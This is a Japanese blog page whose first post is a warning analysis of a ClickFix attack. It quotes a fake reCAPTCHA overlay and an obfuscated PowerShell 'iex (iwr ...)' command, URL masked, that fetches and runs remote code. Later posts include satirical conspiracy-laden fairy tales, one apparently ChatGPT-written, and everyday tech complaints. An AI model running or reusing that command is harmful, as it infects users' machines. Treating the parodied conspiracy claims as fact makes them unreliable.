自分が見てるサイトが ClickFix に侵されていたので解析した
結果として、攻撃手法以外にもユーザーを寄せるための色々な工夫がされていた。 注意喚起になればと記事にします。
1. 正規サイト装飾の悪用
- 偽装的なメタ情報
<meta name="application-name" content="reCaptcha">
<title>reCaptcha</title>
<link rel="canonical" href="https://partner.booking.com/...">
Google reCAPTCHAやBooking.comを思わせる情報を埋め込み、ユーザーに「公式サイト」「安全な手続き画面」と錯覚させています。
2. 本来コンテンツ隠蔽&難読化CSS
html, body { position: fixed; } .bg { filter: blur(7px); z-index: -1; } #main-content { filter: blur(10px); } .askhgsdfghdf4ot0 { position: fixed; width:100vw; height:100vh; background-color: #000000c4; z-index:99999; display:flex; justify-content:center; align-items:center; }
- 背景や元のページをぼかし(blur)&固定表示することで、正規コンテンツを完全に見えなくし、不正UIのみを表示。
.askhgsdfghdf4ot0や.dfgjdkfghjndg0といったランダム文字列クラス名で、検知・除去を困難にしています。
3. 偽の「I'm not a robot」UI生成
<div id="content-container"> ― Robot or human? ― チェックボックスをクリック ― reCAPTCHAロゴ・プライバシー文言 </div>
4. マルウェア実行誘導フロー
- ユーザーがチェックボックスをクリック
antibotCheck()が実行され、以下を行う:PowerShellコマンドをクリップボードにコピー
powershell -No"P"ro"f"ile -w h -C"o"mmand "iex (iwr -Uri 'https://*********************.txt' -Us"e"Basi"cPa"rs"i"ng)";- スピナーと手順表示 「Windowsキー+R → Ctrl+V → Enter」を案内し、ユーザー自ら貼り付け&実行させるよう誘導。
サーバ通知
$.post('/stuk/click');攻撃成功(クリック)を攻撃者側に通知し、統計や感染状況をモニタリング。
浦島太郎・陰謀論編:竜宮ディストピア
昔々あるところに、毎朝“海岸清掃”という名目で政府の監視網から逃れていた浦島太郎という若者がおりました。 地元では「ちょっと真実を知ってる人」として知られており、彼のYouTubeチャンネル「真・うらしま研究所」には登録者が17人いました。
ある日、浦島太郎は浜辺で、数人の子どもたちが亀をいじめているのを目撃しました。
「その亀、NSAの監視用ドローンかもしれんぞ。壊すな!」
子どもたちは「えっ?」という顔をして逃げ出しました。 するとその亀、甲羅の裏に小型カメラと「製造元:中国」と刻まれた謎のチップが──。
翌日、謎の黒いタクシーが太郎の前に止まり、中から金色の着物を着た乙姫が降りてきました。
「あなた、ちょっと“下”まで来てもらえます?」
そう言われて案内されたのは、深海トンネルを抜けた先にある“竜宮城”。 そこでは金の鯛や銀のヒラメが不自然なハイテンションで踊っており、BGMは常に「昭和歌謡のAIリミックス」が流れていました。
乙姫は言いました。
「ここでは“娯楽”と“給付金”をお配りしています。思考は我々に預けて、自由を楽しんでください」
浦島太郎は、持参した「電磁波測定器」が針を振り切っているのを見て、ただならぬ異常を察知。 夜、城の裏手にある立入禁止エリアに忍び込むと、そこでは人々がVRゴーグルを付けたまま静かに横たわっていました。
「これは……海底メタバース強制接続プロジェクトだ!」
真実を知った太郎は乙姫に詰め寄りますが、彼女は微笑みながら玉手箱を手渡します。
「これが現実を見るための最後の鍵。開けるかどうかは、あなた次第」
浦島太郎は帰路の無人潜水艇に乗り込み、地上へ戻りました。 しかし、陸に上がった途端、すべてが変わっていたのです。
・街はキャッシュレス化が進み、現金は違法扱い ・「反ワク=反社会的思想」として通報対象に ・学校では“多様性教育”の名のもとに日本史が消え ・SNSのタイムラインはAIが「あなたのために」選んだ投稿だけ
太郎は動揺しながら、玉手箱を開けました。
中から出てきたのは、一通の封筒と折りたたまれたプリント。
🧾「ワクチン未接種者向け 収容オプション」 🧾「あなたのスマホは電源を切っても追跡されます」 🧾「なお、これはあなたが選んだ未来です」
その瞬間、太郎の顔に白い煙が漂い、 次に気づいたとき、彼は近所の公民館でマイナンバーカードの手続きをしている自分に気づきました。
「あれ…俺、何しに来たんだっけ…?」
画面の中の乙姫が微笑んでいました。
「ようこそ、竜宮レイヤーへ」
「桃太郎・陰謀論編:ドンブラコの覚醒」(陰謀論だらけの桃太郎 ChatGPT バージョン)
上記の記事に感銘を受けて、ChatGPT に改訂版を頼んでみたところ 結構面白い内容が出てきたので貼り付け。
『桃太郎・陰謀論編:ドンブラコの覚醒』
昔々あるところに、地方行政の闇に切り込もうとして、不自然にパワハラで告発されたお爺さんとお婆さんが住んでいました。
お爺さんは山で規制対象の外来生物・ジャンボタニシを放ち、お婆さんは川にジャンボタニシを放流していると、川上から巨大な桃がドンブラコドンブラコと流れてきました。
不審に思ったお爺さんとお婆さんは、その様子を「真実を暴け!令和の教科書に載らない歴史チャンネル」でライブ配信。 桃を割ってみると中からは赤ん坊と、マイクロチップらしき謎の物体が現れました。
「これは…5Gで制御するタイプのやつじゃな」
赤ん坊には“空から来たもの”という意味を込めて「桃太郎」と名付けました(姓不一致の問題については、のちに某国籍説が浮上)。
桃太郎は「出生の真実」を暴露するAI生成動画に影響を受けつつ育ち、ある日こう言い出しました。
「鬼ヶ島でピザ屋を装って人身売買が行われてるって!これはもう行くしかない!」
お婆さんは戦後にGHQが持ち込んだ“陰謀粉”で作ったきび団子を渡し、桃太郎は「我、日本の真実を守る者なり」と書かれた手作りの旗を掲げて旅立ちました。
旅の途中、犬・猿・トカゲ型ヒューマノイドに出会い、団子を渡して仲間にします。犬は言いました。
「この団子、なぜか球体。本来なら地表の形に沿ってフラットなはず…これは陰謀だ!」
猿は最初反抗的でしたが、桃太郎が耳打ちします。
「鬼ヶ島の鬼たち、実は日当1万円で動員されてる雇われ工作員なんだ」
続いてトカゲ型ヒューマノイドにはこう囁きました。
「女性の80%は、鬼が独占してる。君がモテない理由、わかるよね?」
こうして“覚醒した仲間”たちと鬼ヶ島に乗り込んだ桃太郎。だが後に、上陸時に掲げた旗が風でなびいていたことから「そもそも上陸していないのでは」という説がX(旧Twitter)で拡散されることになります。
島に着くやいなや、桃太郎は号令をかけました。
「突入だ!ワクチン攻撃に気をつけろ!」
犬はWGIP(ワンワン・ギルト・インフォメーション・プログラム)によって「日本が悪かった」と思わされていたことを思い出し、吠えました。
猿は選挙のたびに起こる“電子投票不正”を訴えました。
トカゲ人間は鬼ヶ島の礼儀作法を無視して大暴れしたため、「江戸しぐさ」が絶滅しました。
島は混乱の渦に包まれ、あたりはMAGAな空気に染まります。 やがて桃太郎は、鬼たちが持つ金銀財宝――つまり“ディープステートが隠し持っていた日本の富”を見つけ出し、それを祖父母の元へと持ち帰ります。
再会に感激するお爺さんとお婆さん――しかしその顔は、どこかゴムのような質感を帯びていました。
「もしかして…この二人も、すり替えられて…?」
こうして桃太郎は「真実を探す旅」第二章へと旅立ったのでした。
ねんきんネットの「秘密の質問」が秘密になってる問題
ねんきんネットにログインしようとした。 ユーザーIDとパスワードを入れたところ、

あれっ、こんなに秘密の質問登録したかな、、、
適当に選んで回答入れたけど、まったく通らない。
「もしかして、どれ選んだか覚えておけってこと?」
いや、これメモ不可避じゃね? 「秘密の質問」を秘密にすんなや。。。
ということで「秘密の質問と答え」は郵送依頼することに。。。 そもそもそれを郵送すること自体が危うい。 この運用がそもそもSDGsに反しすぎてないか?
ゆうちょ銀行も似たような機能はあったが、「秘密の質問」は秘密ではなかったし、 今はもう別の機能に移行してる。
ていうか、マイナンバーカード連携させるためにわざとやってるのかな?
お名前.com、5つの罪
※ タイトルは釣りです。罪とかはありません。
UI/UXデザインとかユーザビリティを考えた時に、もっともBadと感じた部分を5つ挙げます。
1.ログインすると、絶対にドメイン契約更新画面に遷移する。
しかも、「ドメイン設定」にフォーカスが当たっているように見えるため、DNSの設定変更等をどこから行えばいいか分からなくなる。
実際は「ドメイン設定」をクリックする必要があるが、初見は絶対迷う。

2.ドメイン一覧画面のサーバー申し込みボタンが謎の配色
日付に連動しているっぽいけど、理由が明記されていない

3.メール配信解除から、実際に止まるまでの時間が異様に長い。
2日程度かかった。配信開始は即時なのに。
「手続きの都合上」という7文字に、全ての理由が込められている。
4.メール配信の設定を毎回解除する必要がある。
例のごとく。絶対にデフォルトでチェックが入っている。
外し忘れると、上の 3. と合わせ技で2日以上は鬼メールが続く。

5.「お忘れのドメインがあります。」
ログイン直後に、夜の繁華街を思わせるようなセールストーク。
まるでドメインの買い忘れがあったかのような物言い。
これで購入させてしまったら、それはそれでアウトじゃないのか?

Excel Online(無料版)で操作をミスって、Microsoftにファイル丸ごと人質に取られるの巻
Excel Online(無料版)で、めっちゃゴリゴリに関数を使って、データの集計を行なっていた。
「ここで、縦の列を選んで・・・Ctrl + D と」
→「あっ、ミスった!縦の列全部選んじまった・・・めっちゃ処理待ちwww」
ファッ?

「お、おちけつ。処理に時間かかったから、ちょっとご機嫌斜めなんだよなw」 → 再読み込み

やられた・・・
何回再読み込みしても、上のエラー画面。
そして有料版のExcel持ってない自分。
晴れてこのExcelファイルは、事実上消すことしかできない所謂おじゃまぷよに大変身。
何時間を取り戻すためには、有料版を買うしかない。
本当にありがとうございました。
Chromeが執拗に "Osaka" フォントをインストールさせようとしてくる・・・
愛用MacのChromeが、起動時に突然こんなことを言い出した。

Google Chromeでフォント"Osaka"をダウンロードする必要があります??
ちょうど大阪に住んでいることもあり、非常に不安だ。
ウイルスが出しているダイアログという可能性もある。
普通にこのまま"ダウンロード"をクリックするのは怖い。
「あっ、そういうことなら・・・」と思いついて、
Font Book から直接 "Osaka" フォントをダウンロードするようにした。
「知っている人から不審なメールが届いたから、直接本人に電話してみた」感じ。

確かに "Osaka" フォントはダウンロードされていないっぽい。
"Osaka" を右クリックして・・・

ファミリーをダウンロード。

完了。
Chromeを再起動してみたが、とりあえず落ち着いてくれたようだ。
しばらく様子を見る。